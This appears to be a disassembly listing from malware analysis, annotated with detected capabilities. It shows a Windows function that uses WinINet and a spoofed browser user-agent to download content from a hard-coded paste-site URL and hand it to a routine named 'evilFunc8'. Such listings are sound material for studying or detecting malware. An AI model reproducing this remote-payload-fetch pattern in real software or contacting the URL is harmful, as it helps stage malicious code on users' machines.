Function at 0x140001b75
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push rbp
mov eax, 0x1080
call fcn.14000db10
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1010], rcx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rax, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_119.0.0.0_Safari_537.36
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenA]
call rax
mov qword [rbp + 0xff8], rax
cmp qword [rbp + 0xff8], 0
jne 0x140001c2f
lea rax, str.InternetOpen_failed
mov rdx, rax
mov rax, qword [0x140105df0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0xfde]
mov qword [rbp + 0xfe8], rax
nop
nop
lea rdx, [rbp + 0xfde]
mov rax, qword [rbp + 0x1010]
mov r8, rdx
lea rdx, str.fail
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
jmp 0x140001d95
mov rax, qword [rbp + 0xff8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0
mov r8d, 0
lea rdx, str.https:__notepad.link_share_oVl7lnSlTf9USsy1VfmP
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetOpenUrlA]
call rax
mov qword [rbp + 0xff0], rax
cmp qword [rbp + 0xff0], 0
jne 0x140001cfb
lea rax, str.InternetOpenUrl_failed
mov rdx, rax
mov rax, qword [0x140105df0]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp + 0xfdf]
mov qword [rbp + 0xfe0], rax
nop
nop
lea rdx, [rbp + 0xfdf]
mov rax, qword [rbp + 0x1010]
mov r8, rdx
lea rdx, str.fail
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string<std::allocator<char> >(char const*, std::allocator<char> const&)
jmp 0x140001d95
mov eax, dword [rbp + 0xfd8]
mov eax, eax
mov byte [rbp + rax - 0x30], 0
lea rcx, [rbp + 0xfd8]
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0xff0]
mov r9, rcx
mov r8d, 0xfff
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetReadFile]
call rax
test eax, eax
je 0x140001d37
mov eax, dword [rbp + 0xfd8]
test eax, eax
je 0x140001d37
mov eax, 1
jmp 0x140001d3c
mov eax, 0
test al, al
jne 0x140001cee
mov rax, qword [rbp + 0xff0]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
mov rax, qword [rbp + 0xff8]
mov rcx, rax
mov rax, qword [sym.imp.WININET.dll_InternetCloseHandle]
call rax
lea rax, [rbp - 0x50]
lea rdx, [rbp - 0x30]
mov rcx, rax
call dbg.evilFunc8[abi:cxx11](char const*)
lea rdx, [rbp - 0x50]
mov rax, qword [rbp + 0x1010]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&)
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()
mov rax, qword [rbp + 0x1010]
add rsp, 0x1080
pop rbp
ret